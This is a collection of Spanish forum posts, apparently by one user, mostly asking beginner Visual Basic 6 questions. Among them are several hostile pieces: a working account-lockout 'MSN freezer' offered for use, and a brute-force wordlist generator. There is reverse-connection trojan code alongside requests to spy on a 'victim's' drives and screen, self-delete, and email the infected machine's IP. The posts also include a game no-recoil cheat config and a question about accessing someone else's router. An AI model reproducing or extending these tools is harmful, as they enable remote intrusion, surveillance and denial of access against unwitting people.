Temas

Ho0OLa!! Todo el mundo sabe que las matematicas estan muy ligadas a la programacion, y hay casos en los que hecho de menos saber algo mas de matematicas la verdad Como las matematicas es un mundo muy amplio, me gustaria que m dijeran que campos de la misma son los mas utilizados a la hora de programar, y si me recomiendan algo para leer sobre el tema...

Gracias por adelntado!!

HoOOla, estoy buscando una manera de hacer una etiqueta para un progrma, en ella iria el nombre del programa, y en pequeño mi nick. Tambien me valdria unas letras originles, o algo similar...

Agradezco la ayuda

Creen que existen los extraterrestres??

HOola, miren que facil se lo voy a poner con una duda tan sencilla, necesito saber como hago para que si pulso el boton derecho del raton salga un msgbox, por ejemplo... Tienen que tener en cuenta que no es sobre un formulario, que seria asi:

Código (vb) [Seleccionar] Expandir


Private Sub Form_KeyDown(KeyCode As Integer, Shift As Integer)
   MsgBox "hola"
End sub


Gracias!!

Hola, echenme una mano, miren lo que hago:

-utilizo el cheat engine y lo pongo a 0.75
-utilizo el hlves y me hice la configuracion minima

bien, con todo esto consigo reducir el ping hasta 80 mas o menos...
pero va todo lentisimo y no pudeo correr con soltura a causa de q estoy realentizando la lllgada de paketes con el cheat engine...He estado buscando por muchos sitios, y ya no se me ocurre nada mas...
Ayudenme!!

gracias

Hola buenas ,he encontrado este code para la cfg e counter strike 1.6:

Código [Seleccionar] Expandir


// AK - COLT No Recoil ( SIMULACION )
bind DEL "NRON;bind Del NROFF"
alias +reak "cl_pitchspeed 3.9; cl_yawspeed 0.7; +attack; +lookdown; +right"
alias -reak "cl_pitchspeed 300; cl_yawspeed 250; -attack; -lookdown; -right"
alias NRON "bind mouse1 +reak;Echo .:: NO RECOIL ON =) ::."
alias NROFF "bind Mouse1 +attack;Echo .:: NO RECOIL OFF ! ::."
Tengo varias dudas (mi intencion es usarlo en servers):
¿realmetne funciona?
¿con el counter steam tambien lo haria?
¿en un servidor se podrian dar cuenta?
¿como hria para activarlo con la tecla "v", por ejemplo?
¿sabrian decirme otro ejemplo o forma de hacerlo?

Muchas gracias por adelntado!!!

Hola q to2, kerria saber si es posible ser 100% anonimo a la hora de realizar una descarga, todos sabemos que en paises como Francia, entre otros, si te localizan haciendo descargas t pueden quitar aceso a internet...(Estudian hacer esto en España) Utilizando un proxy anonimo seria suficiente??

Gracias por resolver mis dudas...

Hola a to2, les cuento:

Estoy conectado a una red wpa, y kisiera abrir un puerto, me meto en la configuracion del router ( ajeno ), y me pide usuario y pass , por lo cual no puedo abrirlo, se os ocurren solucciones????? :huh:hay otra manera de abrir el puerto???

gRaCiAs!!

hola buenas, querria saber como poner un gif animado en mi firma, probe copiando el URL pero no funciona , gracias...

Imaginemos q tengo:

Código (vb) [Seleccionar] Expandir


Dim a, s, d, f, g, h, j, k, l, ñ, x, c ,v , b, n, m As Integer

Sabrian decirme como asigno a todas a la vez el valor 10??  por ejemplo.

Gracias!

Hola a todos hace poco pregunte como se hacia un Bruteforce en vb6, obtuve diferentes metodos, pero Karcrack me dijo q lo intentara por mi mismo, y asi he hecho!!  :)Les presento mi code para convinar las letras minusculas del abcdario. estuve dandole vueltas, no se si es la forma optima de hacerlo (aunque funciona a la perfeccion), por eso os pido vuestra yuda para mejorarlo y de paso aprender.

Código (vb) [Seleccionar] Expandir


Public Sub BruteForce()
   
   Dim D1, D2, D3, D4, D5, D6, D7, D8 As Integer
   
   D1 = 97: D2 = 97: D3 = 97: D4 = 97: D5 = 97: D6 = 97: D7 = 97: D8 = 97

   Open App.Path & "\midicionario.txt" For Output As #1

digito1:

   If D1 = 123 Then
       D1 = 97
       MsgBox "Combinaciones con un digito completadas", vbInformation
       GoTo digito2
   End If
   Print #1, Chr(D1)
   D1 = D1 + 1
   GoTo digito1

digito2:

   If D1 = 122 And D2 = 123 Then
       D1 = 97: D2 = 97
       MsgBox "Combinaciones con dos digitos completadas", vbInformation
       GoTo digito3
   ElseIf D2 = 123 Then
       D1 = D1 + 1
       D2 = 97
   End If
   Print #1, Chr(D1) & Chr(D2)
   D2 = D2 + 1
   GoTo digito2
   
digito3:
   
   If D1 = 122 And D2 = 122 And D3 = 123 Then
       D1 = 97: D2 = 97: D3 = 97
       MsgBox "Combinaciones con tres digitos completadas", vbInformation
       GoTo digito4
   ElseIf D2 = 122 And D3 = 123 Then
       D2 = 97: D3 = 97
       D1 = D1 + 1
   ElseIf D3 = 123 Then
       D2 = D2 + 1
       D3 = 97
   End If
   Print #1, Chr(D1) & Chr(D2) & Chr(D3)
   D3 = D3 + 1
   GoTo digito3

digito4:

   If D1 = 122 And D2 = 122 And D3 = 122 And D4 = 123 Then
       D1 = 97: D2 = 97: D3 = 97: D4 = 97
       MsgBox "Combinaciones con cuatro digitos completadas", vbInformation
       GoTo fin
   ElseIf D2 = 122 And D3 = 122 And D4 = 123 Then
       D2 = 97: D3 = 97: D4 = 97
       D1 = D1 + 1
   ElseIf D3 = 122 And D4 = 123 Then
       D3 = 97: D4 = 97
       D2 = D2 + 1
   ElseIf D4 = 123 Then
       D4 = 97
       D3 = D3 + 1
   End If
   Print #1, Chr(D1) & Chr(D2) & Chr(D3) & Chr(D4)
   D4 = D4 + 1
   GoTo digito4
   
fin:

   MsgBox "Fin", vbExclamation
   Close #1
   
End Sub


Si no entienden algo no uden en preguntar  

Garcias Karcrack

Hola amigos, necesito su ayuda , necesito conbinar todos los caracteres del abecedario de 2 a 6 digitos, algo asi:

Código [Seleccionar] Expandir


aa
ab
ac
ad
...
az
bb
ba
...

Muchas gracias!!!

[*Utilizo componente:]

Hola amigos, os presento este code de un Msn freezer, pero a diferencia de los demas, ahorra mucho codigo y cumple basicamente la misma funcion, generalmente en menos tiempo, no se si esto ya se le habia ocurrido antes a alguien, pero ahi va... Por cierto, las criticas constructivas son bienvenidas!!

*Utilizo componente:

   -Microsoft Internet Controls

*En el formulario agrego:

   -Un Textbox = Text1
   -Un CommandButton = Command1
   -Un WebBrowser = WB

Código (vb) [Seleccionar] Expandir


' ////////////////////////////////////////////////////////////////
' // *Autor: *PsYkE1* (miguelin.majo@gmail.com)                 //
' // *Podeis agrandar o reducir el codigo, siempre y cuando se  //
' // respete la autoria y se me comuniquen esos cambios.        //
' // *Agradecimientos a BlackZeroX.                             //
' // *Visita http://foro.rthacker.net                           //
' ////////////////////////////////////////////////////////////////

Dim Flag As Boolean

Private Sub Command1_Click()
   'Dependiendo del Caption del botón realiza una u otra acción
   If Command1.Caption = "Congelar" Then
       'Si el Text1 esta vacio
       If Text1.Text = "" Then
           Flag = False
           MsgBox "Debes introducir una cuenta", vbCritical, "*PsYkE1* Msn Freezer v1.0"
       Else
           Flag = False
           Text1.Enabled = False
           WB.Navigate ("login.live.com") 'Abro la Web para logearse
           Command1.Caption = "Descongelar"
       End If
   Else
       Text1.Enabled = True
       Command1.Caption = "Congelar"
       WB.Navigate ("") 'Salgo de la Web
       MsgBox "La cuenta " & Text1.Text & " ha sido descongelada", vbInformation, "*PsYkE1* Msn Freezer v1.0"
   End If
End Sub

Private Sub Form_Load()
   Me.Caption = "*PsYkE1* Msn Freezer v1.0" 'Pongo Title al Form
   Command1.Caption = "Congelar" 'Asigno el Caption al botón
   Flag = True 'Activo el interruptor
End Sub

Private Sub WB_DocumentComplete(ByVal pDisp As Object, URL As Variant)
   On Error Resume Next 'Si hay error no lo muestre
   If Flag Then Exit Sub 'Si el interuptor está activado salgo
   With WB
       .Document.All("login").Value = Text1.Text 'Ingreso la cuenta
       .Document.All("passwd").Value = "by*PsYkE1*" 'Pongo una contraseña que no es
       .Document.All("SI").Click 'hago click
   End With
   ' Si encuentro la cadena "demasiadas veces" en el documento del WB...
   If InStr(WB.Document.Body.InnerHtml, "demasiadas veces") Then
       MsgBox "La cuenta : " & Text1.Text & " ha sido bloqueada con éxito!" _
       , vbInformation, "*PsYkE1* Msn Freezer v1.0": Flag = True
   End If
End Sub

Espero que os haya gustado

Hola a todos!!

Veamos, tengo dos listbox, y quiero que al seleccionar un elemento del list1 seleccione el elemento correspondiente en el list2 no se si me he explicado bien...
Es decir, cuando pinche en el 2º elemento de list1 se seleccione el 2º elemento del list2 yo habia pensado en algo asi:

Código (vb) [Seleccionar] Expandir


Private Sub List1_Click ()

'Msgbox List1.ListIndex
List1.ListIndex = List2.ListIndex

End Sub


Me da error y me dice que no es una matriz... He probado varias formas por mi mismmo pero no he llegado a nada aún, agradezco la ayuda!!!

Aver si me pueden ayudar:

Utilizo el módulo cStdIO.cls para ejecutar comandos en el cmd, pero hay comandos que no ejecuta correctamente.

Un ejemplo entre otros sería:

Código [Seleccionar] Expandir


C:\Documents and Settings\{miusuario}\Escritorio\vb6>dir /s hola.txt
El volumen de la unidad C no tiene etiqueta.
El n£mero de serie del volumen es: {minumerodeserie}
No se encuentra el archivo


Pero el archivo "hola.txt" SI existe, y pruebo el mismo comando con el cmd y funciona, ¿me podrían decir que pasa
o otra forma de hacerlo????

Gracias a to2!!!!!!!!

Hola a to2!! les cuento mi problema:

Estoy intentando descargar un archivo remoto y que me muestre su progreso en una progressbar. Pero algo debo
de hacer mal, y no tengo muy claro para poner el progreso la PB.
No puede ser muy dificil, lo que hago actualmente es:

Código [Seleccionar] Expandir



CLIENT

Private Sub Download_Click()  

   WS.SendData "download" & Ruta.Caption

End Sub


SERVER

   If Left(datos, 8) = "download" Then
   datos = Mid(datos, 9)

   tamaño = FileLen(datos)

   WS.SendData "dtam" & tamaño

   End If


CLIENT

   If Left(datos, 4) = "dtam" Then
   datos = Mid(datos, 5)

   PB.Max = datos
   'MsgBox PB.Max

  WS.SendData "dok" & Ruta.Caption

  End If


SERVER


   If Left(datos, 3) = "dok" Then
   datos = Mid(datos, 4)

  'aki debe de estar el fallo
  Dim filedata As String

  Open datos For Binary As #1
  filedata = Input(LOF(1), 1)
  Close #1

  WS.SendData "dongo" & filedata

   End If


CLIENT


   If Left(datos, 6) = "downgo" Then
   datos = Mid(datos, 7)

   Open App.path & "\miArchivo" For Binary As #1
   Put #1, , datos
   Close

   MsgBox "descarga completada"

   End If


Agradeceria mucho cualquier ayuda!!
Gracias amigos!!

hola me gustaria saber como hacer para que cada vez q aztualize mi textbox no me aparezca arriba del todo...(no se si me explico)

gracias

como hago programa q se borre a si mismo??
kizas es una pregunta tonta, pero intento borrame a mi mismo me da error puesto el programa se esta ejecutando...

muchasgracias a to2!!!!

Hola amigos, les cuento mi duda:
Me gustaria saber como recorto un texto a partir de un caracter determinado, me explico:
pongamos que tengo una ruta qe es "c:\windows\media", entonces al apretar un boton,
recorta mi ruta por la derecha hasta que se encuentra con el caracter "\"
quedando asi: "c:\windows\".

Otro ejemplo seria:
"c:\windows\system32\wins" -----> "c:\windows\system32\"

Y lo mismo pero dejando solo el texto qe va despues del caracter "\", asi:
"c:\windows\system32\wins" -----> "wins"

muchas gracias a todos!!!

hola amigos ,tengo una imagen dentro de un frame en un form y kerria q al hacer dblclick se pusiera en pantalla completa.

gracias

hola amigos, me gustaria saber como puedo ver los drives de mi victima, seleccionar el archivo y descargarlo, gracias a to2!!!

hola amigos querria saber como hacer para poder ver la pantalla de mi victima en vb6, asi como un escritorio remoto, pero sin tener control de raton, solo visualizar

GRACIAS A TO2!!!!!!

hola amigos, me gustaria saber como hacer que mi client acepte la conexion de una ip que esta en una etiketa al aptretar un boton... utilizo el csocketmaster, y me da error con el siguiente codigo:

private sub conectar()
ws.close
WS.Accept label1.caption
end sub

gracias

como compruebo el contenido de un listbox vb6??

gracias

Hola amigos!! les cuento mi problema:
Estoy haciendo un troyano de conexion inversa, y ni se me conecta!!, por eso subo el code
que es muy sencillito para que me ayudeis y de paso aprobecho para preguntar como hago para
que mi client me ponga en listbox cuales de mis servers intentan conectar conmigo, para, de
este modo, elegir a cual me conecto...
Bueno, no parece muy dificil, no??
Gracias por vuestra ayuda!!


*SERVIDOR:

Código [Seleccionar] Expandir


Public Sub Reconnect()
On Error GoTo Error
If Not WS.State = 7 Then
WS.CloseSck
WS.Connect Text1.Text, 6239 'en text1 pongo la ip publica del client
End If
Error:
End Sub

''''''''''''''''''''''''''''''''''

Private Sub connect_Click()
On Error Resume Next
WS.Connect Text1.Text, 6239
Timer1.Enabled = True
End Sub

Private Sub Timer1_Timer()
On Error GoTo Error
If Not WS.State = 7 Then
Call Reconnect
End If
If WS.State = 7 Then
Label3.Caption = "conectado"
Else
Label3.Caption = "desconectado"
End If
Error:
End Sub

Private Sub WS_DataArrival(ByVal bytesTotal As Long)
On Error GoTo Error
Dim datos As String
WS.GetData datos
If datos = "prueba" Then
MsgBox "funciona!!"
End If
Error:
MsgBox "error en transmisión de datos"
End Sub


*CLIENTE:

Private Sub Escuchar_Click()
On Error Resume Next
WS.LocalPort = Text1.Text 'el puerto es 6239 al igual que el server
WS.CloseSck
WS.Listen
If WS.State = 2 Then
Label1.Caption = "Escuchando..."
End If
End Sub

Private Sub Send_Click()
WS.SendData Text2.Text 'envio datos
End Sub

Private Sub Exit_Click()
End
End Sub

Private Sub Timer1_Timer()'cada 2 seg
On Error GoTo Error
If WS.State = 7 Then
Label1.Caption = "Conectado"
Else
Label1.Caption = "Desconectado"
End If
If Label1.Caption = "Desconectado" Then
WS.CloseSck
WS.Listen
End If
Error:
End Sub

Private Sub WS_ConnectionRequest(ByVal requestID As Long)
On Error GoTo Error
WS.CloseSck
WS.Accept requestID 'acepto toda conexion entrante
Label3.Caption = WS.RemoteHostIP 'me indica a que ip estoy conectado
Timer1.Enabled = True
Error:
End Sub


hola amigos, os cuento:
el server de mi troyan obviamente lleva winsocks, entonces si el ordenador no tiene el wnsck.ocx instalado da un error, me podeis decir como solucionar esto

gracias!

alguien me puede guiar para dar un aspecto diferente a mis forms y botones

gracias!!

con una cuenta me funciona, pero cuando pongo 4 o 5 no funciona...
es xk m consume anxo de bnda???

gracias

os cuento, quiero q el server de mi troyan cada vez q se conecte m envie un correo con su ip, aparentemente es muy sencillo, no??
yo se hacerlo pero necesita tener la libreria del wnsck instalada...
gracias por vuestro tiempo!!

si hago un programa q m loge1 en una web con mi cuenta y una pass q no es cada 0.5 seg, y intentan entrar desde otro ordenador con mi cuenta, podrian???
gracias por adelantado!!

necestito ayuda para crear un programa en vb6 q se conecte x ejemplo a www.ejemplo.com encunentre el text donde ingresar cuenta y el de la contraseña para logearse, todo esto sin q sea graficamente.Aparentemente no parece muy complicado, no?
agradezco vuestra ayuda